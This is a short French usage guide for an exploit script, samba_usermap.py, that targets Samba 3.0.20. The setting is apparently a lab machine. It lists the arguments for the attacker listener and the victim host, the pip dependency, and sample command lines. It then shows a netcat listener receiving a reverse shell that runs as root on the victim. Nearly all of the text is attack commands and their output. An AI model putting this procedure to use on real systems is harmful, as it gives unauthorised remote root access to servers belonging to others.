
Samba 3.0.20
· Lors de l'exécution du script avec python3 et le paramètre --help, il nous demande une série de paramètres
--lhost LHOST votre hôte (ip où le shell sera reçu)
--lport LPORT votre port (port où le shell sera reçu)
--rhost RHOST hôte distant (ip de la machine victime)
--rport RPORT port distant (port de la machine victime)
· Avant d'exécuter le script, faites ceci
pip3 install pysmb
· Exemple
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· Ou vous pouvez faire
python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139
· Exemple de fonctionnement du script
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· Nous recevons le shell
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
whoami
root